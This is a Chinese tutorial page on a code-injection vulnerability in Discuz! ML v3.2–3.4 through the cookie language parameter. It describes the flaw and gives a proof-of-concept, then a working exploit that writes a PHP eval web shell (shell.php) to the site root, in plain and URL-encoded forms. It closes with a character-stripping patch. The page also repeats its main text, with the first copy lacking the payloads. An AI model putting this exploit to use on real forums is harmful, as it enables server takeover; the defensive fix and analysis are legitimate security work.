您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程
Discuz ML! V3.X 代码注入漏洞的修复方法
钟召云2025-07-06Discuz教程已有人查阅
导读Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区,该引擎基于Comsenz Inc.创建的着名的Discuz!
Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区,该引擎基于Comsenz Inc.创建的着名的Discuz!X引擎开发。
0x01 漏洞描述1.1 简单描述
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
简而言之,如下图流程可以简单的理解该漏洞
首先,通过cookie传入payload,构造好的payload被写入template文件中:
接着,这个 入payload的template.php文件被include,造成代码执行:
1.2 受影响的系统版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.20x02 漏洞分析
详情请见:代码注入漏洞深度分析/0x03 漏洞演示3.1 环境搭建
解压后将upload所有内容放到网站目录,访问一步步安装即可。
3.2 漏洞定位
在上面的漏洞分析中,可将漏洞信息总结如下:外部参数$lng(即language语言)可控,导致template 函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once包含一下最终导致了代码注入。所以有包含template 函数的网页中,都存在此类的代码注入点。
3.3 漏洞测试演示
注:在此我将用论坛的主页面(index.php),作为漏洞的演示:
首先看首页里的cookis值中就包含我们想要的language参数:
动手构造我们的POC(测试代码):在26D7_2132_language=sc后面添加以下内容:
EXP(原):
(3)在主页中进行代码注入,则上传的shell.php在网站根目录下:
(4)看看效果:满分
漏洞修复
VulkeyChen师傅的建议:单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:
0x01 漏洞描述1.1 简单描述
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
简而言之,如下图流程可以简单的理解该漏洞
首先,通过cookie传入payload,构造好的payload被写入template文件中:
接着,这个 入payload的template.php文件被include,造成代码执行:
1.2 受影响的系统版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.20x02 漏洞分析
详情请见:代码注入漏洞深度分析/0x03 漏洞演示3.1 环境搭建
解压后将upload所有内容放到网站目录,访问一步步安装即可。
3.2 漏洞定位
在上面的漏洞分析中,可将漏洞信息总结如下:外部参数$lng(即language语言)可控,导致template 函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once包含一下最终导致了代码注入。所以有包含template 函数的网页中,都存在此类的代码注入点。
3.3 漏洞测试演示
注:在此我将用论坛的主页面(index.php),作为漏洞的演示:
首先看首页里的cookis值中就包含我们想要的language参数:
动手构造我们的POC(测试代码):在26D7_2132_language=sc后面添加以下内容:
'.phpinfo().'
成功返回phpinfo()响应,证明此系统存在代码注入漏洞!3.4 漏洞执行演示EXP(原):
'.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'
(因为改动的COOKIE中包含分号,其中有可能会出现语法错误,所以这里采用URL编码格式,之后再解过来就没问题了)EXP(改):
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27
(2)修改cookie中的xxx_language值为exp内容:这里加上exp后,主页返回正常(3)在主页中进行代码注入,则上传的shell.php在网站根目录下:
(4)看看效果:满分
漏洞修复
VulkeyChen师傅的建议:单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:
$lng = str_replace("(","",$lng);
$lng = str_replace(")","",$lng);
$lng = str_replace("'","",$lng);
$lng = str_replace('"',"",$lng);
$lng = str_replace('`',"",$lng);
本文标签:
很赞哦! ()
下一篇:Discuz开源代码结构小分析
相关教程
图文教程
Discuz的NT中集成Memcached分布式缓存的实现方法
之前写过一篇关于Discuz的NT缓存架构文章,在那篇文章的结尾介绍了在IIS中如果开启多个应用程序池会造成多个缓存实例之间数据同步的问题。
Discuz插件开发中缓存和插件语言使用方法
这几天一直纠结于Discuz的缓存问题,今天终于有点小发现:首先Discuz的缓存可以通过数据库、文件等方式进行!在Discuz的配置文件config_global.php中有一个配置项
Discuz!NT怎么安装到网站子目录
最近需要把bbs整合到一个网站上,之后选了Discuz!NT,因为是asp.net开发的,感觉以后同网站整合会方便些,下面是我的安装心得。假设网站的域名是:http://test/, 论坛安装到以下地址:http://test/bbs
Discuz开发function_core常用函数分析
* [Discuz!] (C)2001-2099 Comsenz Inc.* This is NOT a freeware, use is subject to license terms
相关源码
-
(自适应)html5导航目录索引工具类网站源码下载本模板基于PbootCMS开发,为站长导航、网址导航类网站设计。采用HTML5+CSS3技术构建,适配PC端和移动端,提供流畅的浏览体验。适用于个人站长、资源导航平台等场景查看源码 -
(响应式)wordpress模板VieuV4.5主题资讯自媒体博客源码Vieu主题专注于个人博客与企业展示场景,采用响应式设计确保在手机、电脑、平板等多设备上的展示。主题集成会员中心、投稿系统、内容保护等实用功能,满足现代博客网站的建设需求。查看源码 -
(自适应响应式)陶瓷研磨盘抛光机械设备pbootcms网站模板本模板基于PbootCMS系统开发,为研磨抛光设备制造企业设计,特别适合陶瓷研磨盘、抛光设备等表面处理设备展示。采用响应式布局技术,确保各类设备的参数和工艺在不同终端上都能清晰呈现。查看源码 -
(自适应)蓝色英文外贸电子科技产品带三级栏目网站模板为外贸企业设计的英文网站模板,基于PbootCMS系统开发。突出多语言支持和国际化布局,三级栏目结构清晰展示产品分类,响应式设计确保更好客户在移动端和PC端获得一致的专业体验。查看源码 -
(PC+WAP)蓝色电缆桥架五金钢结构机械PbootCMS模板下载采用PC与WAP双端适配设计,满足桌面设备和移动端访问需求。专注服务于电缆桥架、钢结构及五金机械制造领域,通过结构化布局展示产品特性与技术参数,后台数据一体化管理提升内容维护效率。查看源码 -
(自适应响应式)化妆美容口红唇膏化妆品模板pbootcms源码下载基于PbootCMS开发的响应式模板,为化妆品品牌、美容机构打造,通过优雅的视觉呈现提升产品展示效果与品牌调性。采用时尚杂志排版风格,色卡系统规范产品展示。微交互动画增强用户体验,智能推荐算法提升产品关联展示效果。查看源码
| 分享笔记 (共有 篇笔记) |
